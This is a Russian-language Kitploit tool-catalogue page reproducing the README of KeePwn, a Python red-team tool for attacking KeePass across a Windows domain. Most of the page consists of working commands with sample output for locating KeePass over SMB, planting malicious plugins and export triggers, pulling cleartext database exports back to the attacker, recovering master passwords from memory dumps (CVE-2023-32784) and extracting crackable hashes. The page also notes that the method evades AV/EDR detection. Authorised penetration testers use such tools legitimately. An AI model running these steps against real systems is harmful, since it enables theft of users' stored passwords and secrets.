Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
KeePwn — Инструмент на Python для автоматизации обнаружения KeePass и извлечения секретов. | Kitploit
Инструменты/GitHubGitHub/orange-cyberdefense/keepwn
Взлом паролейЭксплуатацияПост-эксплуатацияRed Teaming
GitHuborange-cyberdefense/keepwn

KeePwn

Инструмент на Python для автоматизации обнаружения KeePass и извлечения секретов.

Репозиторий
527541 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Python-скрипт для помощи red team-специалистам в обнаружении экземпляров KeePass и извлечении секретов.

Возможности

  • Обнаружение KeePass
    • Поиск установочных файлов KeePass через SMB C$ share.
    • Поддержка нескольких источников целей (IP, CIDR, имя хоста, файл).
    • Проверка метаданных KeePass (версия, время последнего доступа).
    • Проверка запущенного процесса KeePass через Impacket-based RPC.
    • Многопоточная реализация для обхода медленных хостов.
    • Экспорт результатов поиска в CSV.
    • Поиск баз данных KDBX.
  • Злоупотребление плагинами KeePass
    • Добавление и удаление плагинов KeePass (см. KeeFarce Reborn) через SMB C$ share.
    • Получение экспортов в открытом виде на удалённом хосте.
  • Злоупотребление триггерами KeePass
    • Добавление и удаление триггеров (см.: KeeThief) из конфигурационного файла KeePass через SMB C$ share.
    • Получение экспортов в открытом виде на удалённом хосте.
    • Настройка триггеров с помощью аргументов командной строки.
  • Разбор дампов KeePass
    • Анализ дампов памяти для поиска кандидатов мастер-пароля (CVE-2023-32784).
    • Анализ дампов памяти для поиска ключа шифрования.
  • Взлом баз данных KeePass
    • Преобразование KDBX в форматы, совместимые с John и Hashcat.
    • Добавление поддержки формата KDBX 4.x.
  • Аутентификация
    • Поддержка аутентификации по LM/NT хешу.
    • Поддержка аутентификации Kerberos.
  • Разное
    • Написание юнит-тестов.
    • Размещение проекта на PyPI.

Установка

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

Или, если вы не хотите устанавливать, а просто запустить в virtualenv:

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

Использование

Обнаружение

Модуль search в KeePwn используется для идентификации хостов, на которых работает KeePass в вашей целевой среде:

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

Он использует встроенный в Active Directory ресурс C$ для поиска файлов, связанных с KeePass, в стандартных расположениях, поэтому требуются права администратора на целевых машинах.

Модуль сначала ищет конфигурационный файл KeePass.config.xml в папке %APPDATA%\KeePass каждого пользователя, а также KeePass.exe в стандартном пути установки (C:\Program Files\KeePass Password Safe 2). Если конфигурационный файл найден, но KeePass не установлен глобально, KeePwn будет искать портативные установки во вложенных папках до --max-depth уровней.

Этой базовой техники поиска должно быть достаточно для точного определения, используется ли KeePass на рабочей станции. Кроме того, опция --get-process использует реализацию RPC от Impacket для определения, запущен ли KeePass в данный момент на цели.

Также доступны различные опции для удобства: экспорт результатов поиска в CSV-файл, отображение только целей, где найден KeePass, и настройка количества параллельных потоков:

Злоупотребление плагинами

KeePass поддерживает фреймворк плагинов, который можно использовать для загрузки вредоносных DLL в процесс KeePass, позволяя атакующим с правами администратора легко экспортировать базу данных (см.: KeeFarceRebornPlugin).

Модуль plugin в KeePwn позволяет:

  • Вывести список установленных плагинов и перечислить кеш плагинов

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • Добавлять и удалять ваши вредоносные плагины

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • Опрашивать %APPDATA% на предмет экспортов и автоматически перемещать их с удалённого хоста в локальную файловую систему

Злоупотребление триггерами

Как описано в блог-посте @harmj0y (а позже CVE-2023-24055), система триггеров KeePass может быть использована для экспорта базы данных в открытом виде.

Модуль trigger в KeePwn позволяет:

  • Проверить, записан ли вредоносный триггер с именем "export" в конфигурации KeePass

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    Обратите внимание, что KeePwn предотвратит злоупотребление плагинами, если обнаруженная версия KeePass не подвержена этой технике.

  • Добавлять и удалять вредоносный триггер с именем "export", который выполняет экспорт базы данных в открытом виде в %APPDATA% при следующем запуске KeePass

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
    
Разбор дампов памяти

Как описано @vdohney, можно извлечь мастер-пароль базы данных из памяти (CVE-2023-32784, затрагивает версии до KeePass 2.54).

Модуль parse_dump в KeePwn ищет потенциальные кандидаты мастер-пароля в дампах. Поскольку результирующие строки (по дизайну) будут неполными, модуль также можно использовать для подбора недостающего первого символа методом перебора относительно указанного файла KDBX.

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     _@$$w0rd!!
     _Ï$$w0rd!!
     _§$$w0rd!!
     _ñ$$w0rd!!
     _D$$w0rd!!
     _$$w0rd!!
     _\$$w0rd!!
     _#$$w0rd!!
     _y$$w0rd!!
     _k$$w0rd!!
     _9$$w0rd!!
     _;$$w0rd!!
     _H$$w0rd!!
     _>$$w0rd!!
     _a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

Разбор дампов памяти использует Python PoC от @CMEPW. Спасибо за разрешение повторно использовать код :)

Взлом баз данных KDBX

Скрипт keepass2john.py от @harmjoy был портирован в KeePwn с помощью @0xSp3ctra.

Модуль convert в KeePwn извлекает хеш, доступный для взлома (формат john или hashcat), из базы данных KeePass.

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

Его можно использовать с дополнительными аргументами для указания ожидаемого типа хеша и пути выходного файла:

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x пока не поддерживается, вы можете использовать https://github.com/r3nt0n/keepass4brute. Если у вас есть желание сделать PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format будет хорошим чтением :)

Внести вклад

Приветствуются pull request'ы (см.: неотмеченные пункты в разделе Возможности + некоторые TODO в коде).

Не стесняйтесь открывать issue или писать мне в Twitter для предложений по улучшению.

Скачать инструмент
root@kitploit:~
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
root@kitploit:~
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  

[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml

Эти действия выполняются через доступ к SMB C$ share, что ограничивает обнаружение AV/EDR, так как не выполняется команд.

  • Опрашивать %APPDATA% на предмет экспортов и автоматически перемещать их с удалённого хоста в локальную файловую систему

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
  • Если путь к конфигурационному файлу не является стандартным, вы можете указать его с помощью аргумента --config-path.